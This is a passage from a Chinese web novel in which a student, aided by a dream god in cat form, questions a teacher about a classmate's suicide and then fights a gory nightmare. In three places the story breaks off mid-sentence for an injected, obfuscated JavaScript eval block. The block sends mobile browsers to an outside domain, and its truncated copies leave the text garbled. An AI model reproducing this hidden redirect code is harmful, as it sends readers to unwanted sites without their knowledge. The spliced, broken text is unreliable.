“老师,这话是什么意思呢…….您好像对耿学姐有很多想法,是和她交流过吗?”她小心地探测着白老师的精神状态,思索这是不是一个深入问话的好时机。 对方闻言,长叹一口气,抬手撑着额头。 “……同学,我知道你很热心,不过我带耿芷芯那届都过去三年了,所以我很少去想她们那一届学生的事情。而且也有一些不怎么好的回忆……总之能给你讲的不多,你就自由发挥地写写吧。反正能交差就行,对吧?” 虽然还是漫不经心,但苏夜凛明感觉,白老师已经是逐渐接近吐露真心的状态了,因为这次她能明显地感觉出“不快”的负面情绪。 “好、好的,不过还是希望老师您再多说一点点,不然我也编不出来呀!比如说……人际关系之类,您刚才也提到学姐人缘很好,但说实话我和学姐交流的时候,她说自己之前在学校是比较孤独的那种来着……” 这些话就有一半是扯谎了,毕竟苏夜凛从未和学姐做过这样深入的交谈,但是根据她进入社团时听到学姐的闲聊,以及她自己了解到的“信息”,她决定以此作为切入点。 “不过,她也说过,自己也有能推心置腹的朋友,因为朋友的存在,学姐才在学业和爱好中找到平衡,并且坚持自己的想法是对的…….” “安妍吗?”白老师的声音突然幽冷,“这真的是耿芷芯说出来的话?” 对了!苏夜凛眼光一亮,她感觉,这就是自己最需要的信息。她立刻追问:“呃,好像学姐对我提到的就是这个名字!不过我不是很确定,应该是学姐的好闺蜜吧……” “她是怎么想的?居然还有脸和其他人提起安妍的名字……”她的情绪有了明显的波动,停下批改的手用力得发抖,紧紧握住钢笔,沉重的笔芯渗出一滴红色墨液。 苏夜凛谨慎起来,屏住呼吸,墨菲斯的叮嘱浮现在脑中。 「你在和别人套话的时候,尽量把握他们情绪激动的时刻,那是最好的机会,人的意志会变得强烈、又充满破绽,真心话很容易从破碎的情绪中溢出。 但是一定要注意,此时要顺着他们联想到的东西,柔和、平缓地继续诱导下去,不要强硬地抛出问题,不要让他们感觉到你在盘问或审讯……在这个期间,你们说得越多,对方在中途惊醒的可能性越大,所以得斟酌时间和用词。」 限制颇多,要在有限的时间里,用温柔的语气切中要点,让对方说出有用的事情…… “老师,您好像很了解那位叫做安妍的学姐…….”苏夜凛谨遵着墨菲斯的说明,放轻了声音,“您应该很喜欢她吧?难道,耿芷芯做了对不起她的事情吗?” 14. 转角间 09 苏夜凛的问法,并不是“她们闹矛盾了吗?”,而是“耿芷芯难道做了对不起对方的事。” 这本不符合她平时的思维逻辑,却不是凭空冒出来的猜测。 这还是多亏了那个匿名版——她在公交车上可没有闲着放空,而是审视着互联网这片杂草地里可能的蛛丝马迹,虽然她其实不喜欢这样做。 她发现关于耿学姐的讨论帖里,除非连带着关于剧社活动的内容,回复一般也不多,而且不论什么帖子,气氛多半是温和而友好的,要么是“表白”,要么是单纯的附和、夸赞,其实没什么客套之外的情感色彩。 但是唯有一个的扎眼的存在,“它”总是说着看起来相当不符合氛围的话语。 「都闲的吗?捧这个人对你们都有什么好处。」 不出意料,与它对狙的言论必然存在。 『楼上好搞笑,嫉妒人家有必要表现得这么明显吗?』 『真的我校什么时候莫名其妙的人这么多了,你敢否认学姐很优秀?有本事在剧社迷妹迷弟们的面前说这话啊hhhhhh』 苏夜凛对那个唱反调的发言者印象深刻。 这个论坛板块不会显示具体的姓名、ID、IP地址,但是发帖者可以选择几个固定头像中的一个,作为一种恰到好处的身份区分。大部分人会直接用默认头像,但那个人的头像是一个简笔画的水晶球,乍看就是一个蓝蓝的圆形。她在别的贴子里也看到了这个头像。 在“谁和耿学姐、陆学长以前是同校的??你们万松真的这么人才辈出嘛”的贴子里,也有ta的身影。 「那确实,像耿这种背刺朋友的人,还能继续心安理得在大学里当现眼包,不是人才是什么」 在“剧社最近那个瓜是真的吗?”这个帖子里,蓝色球体的头像淡淡留下一句阴阳怪气。 「就讨论这些呀,看来以前的事情也是真的没人记得了,不然这点瓜算什么。」 “背刺朋友”,一个相当扎眼的词组,刺向现实形象和风评毫无破绽的耿芷芯,刀光一闪后又很快隐入潮水。 苏夜凛不觉得自己是推理大师一般的聪明人,但是这些话,不论故弄玄虚还是确有隐情,总归是耿学姐完美表象下仅有的突破口。 所以,苏夜凛有意地将话题向“人缘”“友情”引,而在催眠暗示影响之下,白老师很快给了她类似的回应。 她不知道这个话题还能继续到哪里,老师又会在何时“醒来”,只能顺水推舟,尽量让白老师说出更多情报。 “推心置腹的朋友?对不起她…….?耿芷芯同学自己又是怎么觉得呢?”白老师听完她的问题,抬起头,嘴角挂上了和她本人及其不符的一抹蔑笑,“重要的只有她自己是不是问心无愧,我们这些局外人怎么想,全都无所谓了。 “毕竟对一个死人,再怎么反悔、想一百种挽救的方法,也没意义了。” 苏夜凛愕然,一时接不上话。她全然没料想到,这件事的另一个潜在主角已经不存在了。 在梦中挣扎的印象又一次闪现,这么说来,耿芷芯的梦魇里,一直纠缠着梦的主人,总是与死亡恐惧相关的那个少女,大概就是“她”吧。 “哦,看来同学你并不了解那件事,”白老师视线转向窗外,秋天,明晃晃的燥烈白日下空气却总带着点苍冷。“也没必要去知道,斯人已逝,让她安息吧。” “是……自杀吗?” 或者说,是跳楼吗? 苏夜凛鼓起勇气,仍是没有把后一句话问出去。 对方几乎不可闻地叹气一声,微微点头。 发生这种事情,估计社会新闻里也有记载吧,不过苏夜凛感觉没怎么听说过,可能是她也不怎么关注新闻,所以没有印象。 “所以老师,您认为安妍学姐的死和耿学姐有关?” 大部分人已经能猜到这个答案,只是识趣的人可能不会再深究。只是现在的苏夜凛不得不问,她感觉白老师几乎是有种潜藏的恨意,将耿芷芯当做凶手看待一般。 “我认为?”白老师反问,好像被她的用词激怒,“别说得像我是个污蔑学生的恶人一样!明明这群人都知道,他们心里都明白的!平时老师同学地喊,和谐又亲密,没出事之前,面上装聋作哑,暗地里看笑话,出事了就帮着学校当伥鬼,我倒成那个多管闲事的坏人了?” “耿芷芯也好那个男的也好,本来都是万死不足惜的人,还不是活得好好的!那个男的今年还评上级了,滑天下之大稽……”她的眼神瞟向苏夜凛的时候,也带上了极其强烈的恶感,“你们也是,要么就是抱着猎奇的心理来套话、要么就是把别人的死当做茶余饭后的谈资,我知道、我都知道啊,你们在背后嘲笑我多管闲事的样子……” 苏夜凛无言,她感受到了对方那悲愤态度里苦涩。白老师的话已经接近于纯粹的情绪发泄,但是从她的叙述里也能猜出一点事情的脉络,让人为已经归于虚无的女孩感到悲哀。 “老师、您别伤心,我能理解……”只是事到如今,苏夜凛并不是在绞尽脑汁想着如何套话,反而真切地共情了她的悲伤。“对于已经尘埃落定的事,无能为力的感觉……我也懂。我不知道具体发生了什么,但是您为那个学姐伤心,为她鸣不平……您没做错。” 听完这些,本来急火攻心的白老师有些哽咽,苏夜凛看到她嘴唇有些发抖,似乎想要回应什么,突然闭上眼睛、身体朝着一边摇摇欲坠。 苏夜凛连忙上去扶住她的肩膀,还好她很快回神,揉了揉眉间,声音有点虚弱,“不好意思,我好像太累了,有点头晕……同学你刚才问什么来着?” 显然她已经从催眠的状态里恢复了,对话不适合再进行下去。苏夜凛安静地摇了摇头:“没事,老师您已经为我解答疑惑了,您还是好好休息吧,我就先不打扰了……” ==== 苏夜凛退出教学楼,又回到和墨菲斯会和的树荫下,对刚才和白老师的谈话感慨万千,但自己终究也还只是一个局外人,改变不了已发生的事实。 何况她现在要帮助的,还是可能作为“背叛者”的耿学姐。 她真的对朋友那么不堪吗?苏夜凛对她的印象还是充满光亮的,漂亮又体面,有才又负责,会因为态度不好给自己道歉的好学姐,她真的做过背刺朋友这些的事情吗?又是怎么做的? 会不会其中有什么误会?安妍在耿芷芯的噩梦中又怎么是那一副可怖的面孔?或许她真的做错了什么、所以潜意识里怀有恐惧和愧疚…… “怎么在这发呆啊,情况如何?” 回过神来,和她搭话的墨菲斯已经是猫的姿态,蹲在她的身边悠闲地晃尾巴,看来他是非必要不会使用人形的了。 “怎么说呢,情况还有点复杂……” 苏夜凛尽量简要地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016902|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总结,把刚才经历的事情转述给他。 “这么多新消息?你运气还挺好的嘛。”墨菲斯的语气不无惊讶,“老实说,我都没期望你问出什么,毕竟我溜进档案室的时候,发现大家都去吃午饭了。” “就说少看不起人!说明我可是有比想象中更高超的谈话技巧!”苏夜凛双手抱胸,不无骄傲,“那您呢梦神大人?你有找到了什么惊天动地的大新闻吗?” “我么?我把耿芷芯那个班级所有人的档案都找出来了。有需要对应着看就好。” 墨菲斯这人一说到重要的事情,语气反而都是冷冷的淡淡的,但是“所有人的档案”这个范围还是让苏夜凛惊到了。 “这是能做到的吗??你藏在哪了?” “当然是藏在脑子里……你不会指望我把那一沓纸全部搬出来吧?” 虽然是猫形态,但是苏夜凛感觉那双蓝眼睛鄙夷地扫了自己一圈。“你现在倒是没因为校服不自在了吗?先走吧,我想办法分享给你。” === 该说神的能力就是方便吗,墨菲斯无法用最直接的方法来解决问题,但是还是能做到一些常人无法想象的事。 据他所言,连他自己都不清楚被限制的能力有多少,还能驾驭的力量有多少。 回去的路上,苏夜凛坐在靠窗的座位,闭上双眼。 按照墨菲斯那极其虚无玄妙的说法,她需要摒弃掉一切的杂音,用“心眼”窥视着自己的脑内,就可以看到他共享过来的视野。 开始只有一片漆黑,然后意识慢慢地坠向虚无,她感觉自己的身体和脑子已经是半分离状态。 紧接着……她看到了!昏暗的灯光下一片片的纸页,自己的视角好像很低,费劲儿地一一略过,随后满满的文字和图画变得清晰。 安妍的信息就在第一个,这也是苏夜凛第一次看到她的证件照。 她的脸没有什么棱角,梦里的那个少女长相是模糊的,或者说都不是一张完整的人脸。现在看来,她柔软长发下是平顺的眉毛,圆圆的双眼,姣好的面容十分恬静。 耿芷芯的档案她费时间找了一会,照片和苏夜凛认知里的学姐没什么差别,端正明艳、略显锐利,还有一眼就能感知到的聪明。 学姐的记录里装满了她参加活动和竞赛的记录,以及作为班干部的任期、各类大小考的突出成绩。 安妍那一边看起来就留白很多,或者说,空白到不正常的程度。她的各项成绩也称得上中上水平,尤其数学,是格外优秀的水准,但是对她的描述少得可怜。 “教师评语”那一行,更是空寥寥地无人落笔,只留下几行扎眼的黑色横线。 至于她自杀这件事……完全没有提及。但正是这种过度的避而不谈,让苏夜凛相信白老师说的话没有错。 落到纸面文字上的东西十分冰冷,让作为半个局外人的苏夜凛也切实感受到——她已经是被忘记的人了,即便装模作样留下了一点记录,也是在要求大家将她忘记。 而耿芷芯那边,光亮明快的履历满满当当,却也没给出更多有用的信息。 这两个人之间存在的纠葛、究竟是什么前因后果,仍然是雾里看花一般。但说不定这样也就足够了? 突然地,她感觉谁用力拍打了一下自己的肩膀,快速被拉回了现实,反射性地睁开眼,只看到旁边,一个满面不快的中年人在瞪着自己。 15. 转角间 10 ==== “现在的小姑娘真是怪了,还想装睡,装听不到人讲话?”这男人一看就来者不善,语气里丝毫不掩讥讽。 苏夜凛一脸懵,她完全沉浸在脑内的画面,不知道对方在生什么气,怯声回应着:“抱歉,您刚说了什么吗?我真的没听见。” 男人瘪嘴,指了指自己旁边一个年迈佝偻的老人,“跟你说没看见这里有老人吗,你干嘛不给人家让座?” 这个时候车已经行驶了好几站,乘客也陆续多了起来,没人对这边发生的插曲吱声,但有不少好事者已经在侧目观察。 事出突然,苏夜凛又犯紧张了,虽然男人直冲的语气叫她很不舒服,她也想不到能说出口的言辞,看到旁边的老人,又觉得他叫自己让座好像也没错,连忙想起身。 “装什么傻啊,还非要别人提醒你?就站在你旁边还要当没看到,小姑娘头发搞的挺花哨,心思就那么丑陋呢……”看苏夜凛的反应是个软性子,男人嘴上更不依不饶,肆无忌惮地嘲讽起来。 “等一下,”突然,后座一个身影轻巧地拦了上来,“她是身体不舒服在休息,不必非要一个病人让座吧。” 挑事者斜睨这个男孩几眼,他不是没看到这人,一个大男生却是精心装扮过,服装和配饰都是一副追潮流的玩咖样子。对这种类型的年轻男性,他平时不会招惹,但是心里也看不上。 “哦哟,给自己朋友打掩护是吧,现在的小年轻,啧啧,满嘴歪理又没有公德心。”几乎是自然而然地在心里开始臆测这俩人的关系,男人的语气更加轻蔑。 “车上也不是只有她的座位可以帮到您吧,为什么不来问我呢?”墨菲斯彬彬有礼,“难道说只有骂一个看起来好欺负的年轻女士,才能体现出您很有公德心?” 墨菲斯的态度很礼貌,倒显得男人格外不占理了。旁边袖手旁观的听众之中,也有人在窃窃私语着,暗讽这人借花献佛,逮着好欺负的小姑娘说教——何况就算人家不愿意让,也不能强求吧。 男人脸上正挂不住,气得要破口大骂,下一秒,墨菲斯对那名老人摊手比划了一下,“需要的话,您可以坐这边,其实一开始就来问我,我肯定会帮二位的。” 老人道着谢,坐到了青年空出来的位置上,这下那人没法做声了,只得别过脸当做什么也没发生。 等到了下个停靠站,他灰溜溜地跑下去,苏夜凛这才知道,那个没座位的老人根本不是他的父母长辈,只是他“善心大发”的对象。 下车回家的路上,苏夜凛又陷入那种黯淡的消沉,她很容易这样被一点负面情绪遮掩,控制不住。 “怎么了?” “刚才,你为什么要帮我啊……”苏夜凛闷声说着,但这也不是她真正在意的事情。“当然,还是得说……谢谢你。” “没什么啊,我只是看着你刚才很窘迫,脱不开身的样子。”墨菲斯趴在她肩上,挥了挥猫爪,“更深的原因嘛,你不是不信任我吗?我觉得做一点维护你的事情,可以让我们的关系更好点?但是你看起来还是不怎么高兴呀。” 墨菲斯的话里没有忧心或者共情,只是对这个女孩的观察。 “没什么……”苏夜凛不知该不该倾吐自己那过剩的情绪,“我只是每次遇到这种事就会讨厌自己,明明我也可以和他争论的,但我当时就是反应不过来,也没勇气说不。” 而且,不仅是梦里,现实里也要被你搭救?两三句话就解了围,为什么能这么简单地做到我不能做的事情,更何况我一开始就不想欠你这个人情…——后面这点阴暗的小心思,苏夜凛没有吐露。 “真奇怪,人世间有那么多穷奢极欲的人都过得逍遥自在,怎么偏偏你们这些循规蹈矩的人,每天都在自寻烦恼呢?” 墨菲斯没有正面回答她,只是说了这一番像在感慨什么的话。 “真是好一个哲学问题,我要是知道了就不会烦恼了。”苏夜凛白了他一眼,一人一猫就这样顶着夕阳,走在回家的小道上。 ==== 苏夜凛在查资料。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016903|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然她不想承认,但是墨菲斯说的没错,因为一点不知所起的痛苦绊住了脚,又有什么意义呢?何况自己也没有做错什么。 于是她选择做点事情来分散自己的注意力。电脑的搜索栏里,她换着几波搜索关键词,万松中学、女生跳楼、安妍本人的名字……找到了一些以前留下的新闻和讨论,恰好发布时间都是三年前。 她相当认真地把每一篇文章和评论都看了,结果却叫人大失所望——每一篇讨论的重点都差不多,观众的反应也相似,而且根本没有披露这件事深层的内幕。 比如阅读最多的那篇文章,对于女孩的自杀形容为“骇人听闻!重点高中少女跳楼,前途大好,自杀是为情所困?” 这个文章三分之一的篇幅在描述安某平时看起来是一个如何文静的女生,还猜测了她的家庭哪怕不算优渥,也是中等水准,但是突然就想不开、居然死在学校里,可能是真的很痛苦,也可能是博人眼球——用极端的方式想让人关注她受到的委屈,青少年都这样。 让苏夜凛很不舒服的是,这文章后半段居然在详细拆解“为情所困”这个关键词,虽然说得很模糊,但意思差不多是“根据知情人的说法”,女孩是喜欢上了一个年长男人,对他死缠烂打,而这个男人正是学校的老师—— 这下闹得学校里满城风雨,男老师也很苦恼,选择了拒绝她,安某受不了感情的失意和同学的讥笑,只能一跃而下。 虽然笔者最后叠了好几层甲,说了些为情所困也只是小道消息,不管怎么说我们希望死者能安息,希望她的家人快点走出阴影等屁话,苏夜凛还是相当不适。 这些新闻的评论区更是专治低血压,不少看客认可作者最后的八卦猜测,她肯定是对老师爱而不得,一时冲动。 成绩优异但心态单纯,为了爱和那点心气连生命都放弃,都没想过自己的父母家庭!这很符合社会对这种小女孩的印象,不对吗? 当然,更多惊世骇俗的言论来自于“知情人”。 ==== 16. 转角间 11 [名字?位置?模样? === 看着屏幕上的字,她的表情复杂。 [你们都不知道啊,她其实是为了高考拿竞赛加分才攀上老师的!这事儿在学校闹得沸沸扬扬,老师没有答应,事情传开之后,她当然没脸活了,也算罪有应得嘻嘻~] 苏夜凛不知道这是不是真的学生发的,她只觉得自己泛起一阵无名火,赶紧把网页关了。但是去别的网站,情况也和这边差不太多。 她还发现,虽然这件事热度不低,但正经报道的新闻非常少,透露的信息也千篇一律。 趴在桌角的墨菲斯看出她心情不太愉快,没有问她查到了什么,只是直愣愣地来一句: “现在算是准备好了吗?” 苏夜凛一愣,“什么?哦对,你是说要尽快解决来着……但是我也不确定,我们这次怎么打梦魇啊?” 要说上回,她是在恐惧和鼓励的双重作用之下,抓住正确的一瞬间杀了凶暴的男人,然后墨菲斯就告诉她梦魇已经死了。但是她现在也没明白一切都是怎么发生的。 “这我没法描述,梦境里的随机性很大,但是只要我们能看破梦魇的真身,杀掉它们不难。” 这是人话吗?苏夜凛非常没好气地说:“这种玄乎的东西我听不懂!你倒是告诉我怎么看破,用什么杀掉?” “看破的过程是在梦里才能体会到的,不过只要记住,梦是想象力膨胀、情绪失控的领域,所以保持冷静的情况下,你会比对方有优势。”黑猫缓缓地解说着。 “至于武器嘛……你上次不是体验过了吗?足够强大的幻想能量能让你编织武器,但是以我们现在的能力,不是时刻都能运用自如的。 “以前,我的神使和眷属们一般会选一类最趁手、最熟悉的武器。如果第一次你幻想出来的是剑,那么最适合你的武器应该就是剑吧?但是如我所说,武器需要靠强大的幻想和精神力编织,所以只建议关键的时候使用。” 苏夜凛脑袋模拟着入梦战斗的场景,感觉稍微理解了一些,点点头。 黑猫似乎是觉得孺子可教也,又补充几句:“如果我的力量足够,可以帮你创造更有利的条件、或者给一些强大的道具,但是你也看到了我是这个样子,咱们主打一个尽力就好。” 好轻松的一个“尽力就好”,苏夜凛很无语,幽幽地回了墨菲斯一句:“如果不尽力,我会死得很难看吗?” “不会啊,这个家伙还没有你第一个遇到的梦魇强,而且宿主的潜意识里对你没什么恶意,就算梦里死了,顶多就……昏迷个一星期的样子吧。” 他这会儿倒是在认真解释了,但苏夜凛更加无语了。还真不好说昏迷一星期和干脆死掉哪个更痛苦! ==== 眼见现在也没有更多可以做的事,苏夜凛决定早一点进入梦中,以免继续拖时间,让梦魇更加壮大。 “梦境是私密的,无意识的,且如我所说,宿主本身对你没什么恶意。但是现在,我们会干涉和打破这片领域,因而也会遭到宿主的抵抗和反击。所以做好准备,用挑战者的心态进去吧。” “你别这么说,我怪紧张的……”苏夜凛不想打退堂鼓,但听到对方的说法,又踌躇起来。 “你还在担心打不过?没有这个说法,”墨菲斯倒是胸有成竹,“而且只要我还在旁边,就算你在梦里被人砍了,醒来之后也不会缺胳膊少腿的。” 这究竟是在安抚人还是吓人呢?苏夜凛还是颇有微词,但也渐渐习惯了这些规则,她不再说话,闭上眼睛。 入睡的过程变得极其缓慢又折磨,但是感觉到一只爪子搭在额头上之后,精神突然变得安定缓和,过了不知道多久,她的意识渐渐沉入混沌。 === 睁开眼,苏夜凛脚下是天台地面的瓷砖,上写满了干涸的暗红色,一大片一大片的字体像是被具象化的呐喊倾诉,混乱、潦草,有些重叠在一起,但她居然都能看清。 「忘记我」「来找我」「不是我」「不是我」「来找我」「放过我」「忘记我」「来找我」「来找我放过我放过我离开我记住我」「忘记我不要忘记我理解我离开我来找我来找我」「看见我看见我看见我」「不是我不是我不是我不要冤枉我」 记住我。 苏夜凛感觉自己的直觉格外明晰,甚至从这大片嘈杂情绪满溢而出的字体中,看到最强烈的那一份情感。 接纳我、理解我……你不该冤枉我。 读到最后,她屏息凝神,感觉自己有什么东西正在朝自己的方向涌来。 ——啪!一声巨响。 什么东西毫无征兆地从高空坠落,拍在地上的一大滩黑红色血迹里,灰色裙子和白色衬衫被血染,看不清原本的样子,长长的黑发黏在地面上,霸占了苏夜凛的视野。 她的身后飞起来一片本不存在的乌鸦,发出一阵咯咯声,不是鸟叫,而是人类窃笑时的声音,带着尖锐的尾音划向远处。 地上的少女不动,一阵阴恻恻的风吹起了一缕半凝结的发梢,也吹拂苏夜凛的侧脸。 很快,“她”那张脸缓缓转过来——那张面朝水泥地,砸得血肉模糊的尸体的脸,却依稀能看见咧出笑容的嘴角、和失去焦点的一只眼。 女孩第一次如此清晰地体会到,“心提到嗓子眼”是什么感觉。 她拔腿就跑,顺便对着天空大喊。 “墨菲斯!!快来帮我!!” 眼前的一切视野和触感都来得太直接、也太有冲击力。阴风、血腥味是如此真实,如果是之前,苏夜凛肯定还会被恐惧感牵制一阵。 但是毕竟也经历过这么多次了,她知道先呼叫援兵最重要。 “别急!你先别往那边走。”黑猫的身影凭空出现,虽然想表现得平静,但他的声音里也显然充满了焦躁和警觉。 苏夜凛刚想说什么,下一秒,咔哒咔哒的声音听得人牙根发酸,她转头一看,地上仅一滩血迹,坠落的少女消失了。 苏夜凛警惕起来,环顾四周,发现一个人也没有。恐怕又要像之前一样,走到转角后面的小房间,才能抓到神出鬼没的少女? 趁着这几秒钟空档,苏夜凛幻想了一下如何召唤出手里的武器,按照墨菲斯的说法,把所有的精力和思维都用来幻想剑的造型、把所有的情绪都倾注到手心…… “快跑!!” 非常突兀地,墨菲斯的声音打断了她的心流,然而已经晚了。 眼前垂下了黑色的丝线。是女人的头发。 一抬头,倒吊在头顶钢索上的少女垂下脑袋,好像在吃吃地对她笑。 几乎没有任何反应的空隙,也没看见对方的动作,苏夜凛的头发被从后面抓住,摔个趔趄。刚才吊在钢索上的她已经没影了。 这合理吗??她刚才还在上面呢,凭什么能从后面抓住自己的头发? 拽住她的力量则毫不留情,拽着苏夜凛的身体在水泥地上拖行。 可能是因为这次苏夜凛意识格外清醒,皮肤摩擦在地面的疼痛比想象中强烈太多。女孩痛得呲声,同时清晰地听见身边传来窸窸窣窣的嬉笑声。 [看她看她!谁能想到她会做那种事?] [多丢人啊?如果是我,还不如直接去死!] [还是太天真了,把裙子脱了去直播更省事!] 谁在围观?谁在嘲讽?不关心,此刻的苏夜凛只想把这些碍事的家伙都弄死算了。 不知道为什么旁边的风景在迅速变化,就像是坐着轻轨看向窗外一般的速度,一会儿看到教室黑板,下一秒变成操场,很快又是室内体育馆。 “想办法把头发割掉!”一个声音格外明冽,穿过往她脑子里钻的闲言碎语。 墨菲斯在她旁边奔跑,声音也被风声裹挟。 苏夜凛无视疼痛,抬起右手,不知怎的,或许是这两天经历过这些乱七八糟的事情,现在的她心底有股强烈的怒火。 一道浅蓝色的光点绽开,她手中出现了一把大剪刀,苏夜凛一把抓住自己的长发,咔嚓一下,便感觉巨大的束缚脱离而去,自己终于一身轻松。 要不是因为看不清身后,她真想直接把这个梦中女鬼的手剪掉算了! 现在,她人在教室外面的走廊里,刚才还在作乱的少女已经不见踪影,似乎暂时是安全的了。 一腔怒火的苏夜凛狼狈爬起,后背和腿部火辣辣的疼,只是迈出一步,她都感觉自己的神经在哀嚎着别再动了。头发倒是因为变到齐耳的长度,感觉轻快了不少。 “先停一下。”墨菲斯的声音冷静,让她稍微安心了一点,“你蹲下,把手给我,我方便帮你恢复。” 苏夜凛照做,看到一只猫爪搭在自己的手心,顿觉有点好笑。 “说实话,我还真没想到会这么疼……”明明是梦里啊?可能真是因为她这次太理智了,反而像现实生活一样接受了疼痛的反馈。 “嘘,你尽量不要出声。”墨菲斯异常地谨慎,“我不会被宿主观测到,但是你的声音有可能打草惊蛇,叫对方发现你。” 很快,掌中就泛起一点幽蓝色的清光,缓缓地向外游动。 “虽然我可以恢复,但你还是尽量小心。你应该也感觉到了,清醒和理智的状态能够让你控制身体和意识,防止你被疯狂影响,但也会相应地让疼痛感更强。你现在还掌握不好抵御它们的技巧” 苏夜凛不再出声,只点头回应。她感觉一股轻盈的力量如水流般包裹受伤的地方,很快疼痛与僵硬的感觉就消失了大半。 不适的感觉消失,她的精神也跟着振奋了些,站起来活动了一下身体。 - 她往前走,这个走廊看起来和万松中学的走廊有些相似,实际空间却要宽大很多,而且好像怎么走,都看不清前面的尽头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016904|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 而每个班级外面的墙壁上,都是一块巨大的黑板,上面的内容大致相近,有获得的奖状、班级活动的照片,也有用大片粉笔绘制的图案和文章。 但是仔细一看,它们又变得不一样了。 气氛其乐融融的班级合照上,白墙和阴影中藏着血迹,有的椅子上没有人,仅搭着一件空荡荡的凌乱校服,代替了学生的位置。天花板上垂下来长长的黑色头发,和大家弧度一致的僵硬笑容融合在一起。 绘制着花草星星的黑板画中,藏着一条红色粉笔画出的断手,而下一个班级的墙上,她找到了被剜掉两只眼睛的头,虽然线条简陋,乍看甚至有点好笑,她却感觉得到那空洞的眼眶从始至终都跟随着自己。 [今日通报 亾亾亾同学上吊盥洗室 亾亾亾同学窒息器材室 亾亾亾同学操场多媒体教室花园 请大家遵循维护规则 营造优美校园环境] 这条没有尽头的走廊,越往前走,越感觉气温在下降,苏夜凛心里发寒,即便墨菲斯时不时开口和她搭话,她也没心思回应,只感觉每分每秒都特别难熬。 这个地方寂静到让人寒毛直竖,黑板画里,一张张热情的笑脸都在向她投来目光,一具具冰冷的尸首都在悄悄向她爬来…… [今日通报 有陌生人闯入校园 名字?位置?模样? 她在哪?她在哪? … … 321 捉迷藏] 苏夜凛咽了口口水,她发现,只有这一段字体,不断跟随着她的视野,不,应该说,是跟着她的身体!她慢了,字就慢,她快了,字就快。它们在和苏夜凛捉迷藏! 如果被发现,苏夜凛将在盥洗室被找到,苏夜凛将在教室被找到,苏夜凛将在操场被找到,苏夜凛将在花园被找到,苏夜凛将在教师办公室被找到,苏夜凛将在天台被找到……如果被发现,苏夜凛将变成2个,苏夜凛将变成3个,苏夜凛将变成5个…… 不、不要被发现……不要被找到! 感觉学生们正站在自己身后,就像玩捉迷藏一样,就像玩木头人一样,它们悄悄地、咧嘴微笑着接近她。 她必须往回走,她要逃走!现在就要逃走!!! ……不对。 苏夜凛停下脚步,闭上双眼,散乱的短发遮住了她的半张脸。 她在强行调动另一种隐秘的念头,来压住从心底冲上来的恐慌。就像用一桶冷水,浇灭了刚刚燃起的薪火。 为什么,为什么我要躲着你们? 凭什么是我要逃走? 从以前到现在,我都没有做错任何事……为什么,要忍受你们自说自话创造出的规则? 想用不知由来的恐惧、关于死亡的恐惧退苏夜凛? 就这点把戏,用了太多次……已经没意思了。 没错,这不过是陷阱,如果真的逃走了,那就遂了梦魇的引导! 她站定在原地,怒视着跟踪自己,又很快不动了的文字,那文字仿佛有生命一样,因为她的态度,又害怕又恼怒,不停颤抖。 下一秒,墙上的文字碎裂了,变成了血红色的几个大字。 [今日通报 苏夜凛 苏夜凛 苏夜凛] “干得漂亮!”这一刻,墨菲斯的声音突然变得清晰了,而且难得地饱含欣喜,“你的名字冲破了原本的内容,证明你的意志足够强烈,影响了这个空间。” “……那就好。”苏夜凛舒了一口气,又斜睨向身边的猫,她还不确定现在是不是安全,或者说,是不是正确的时机,“墨菲斯,告诉我,现在我可以回头吗?” 黑猫的语气轻快,似乎心情很好:“没问题,但是接下来的几秒,还是要做好心理准备,而且要果断一点。” 听对方这么说,苏夜凛也比较安心了,还莫名涌上一股斗志昂扬的感觉。 同时,她幻想着将力气凝聚在手掌中。墨菲斯静静观察着,此刻少女可能自己都没意识到,她的嘴角爬上了一抹势在必得的微笑 少女闭眼,低声着游戏的咒语。 “3、2、1……木头人。”话音刚落,她迅速转身。 身后,一大群面色灰暗,残肢断臂,挂着僵硬笑容的学生,乌泱泱地挤满了走廊。离她最近的男生伸出手,只差咫尺的距离就要摸到苏夜凛的肩膀。 但此刻,发现她识破了诡计,行尸走肉般的学生猝不及防,可惜他们行动太迟缓了,想要停下,却没法立刻止住动作,晃晃悠悠地撞在一起,有人当即便跌倒在地上,场面看起来好不滑稽。 如果是木头人游戏,因为乱动被抓住的人可没有资格留下,不是吗? 苏夜凛不为所动,只见右手有光芒在剧烈地闪烁。 17. 转角间 12 行尸走肉的人群,但是他们并没有看上去那样骇人,只是梦境生产出的乌合之众而已。 苏夜凛凝聚在掌中的精神顷刻爆发,蓝色的光芒先是编制出细长的柄,随后武器头部变成一把巨大的镰刀。 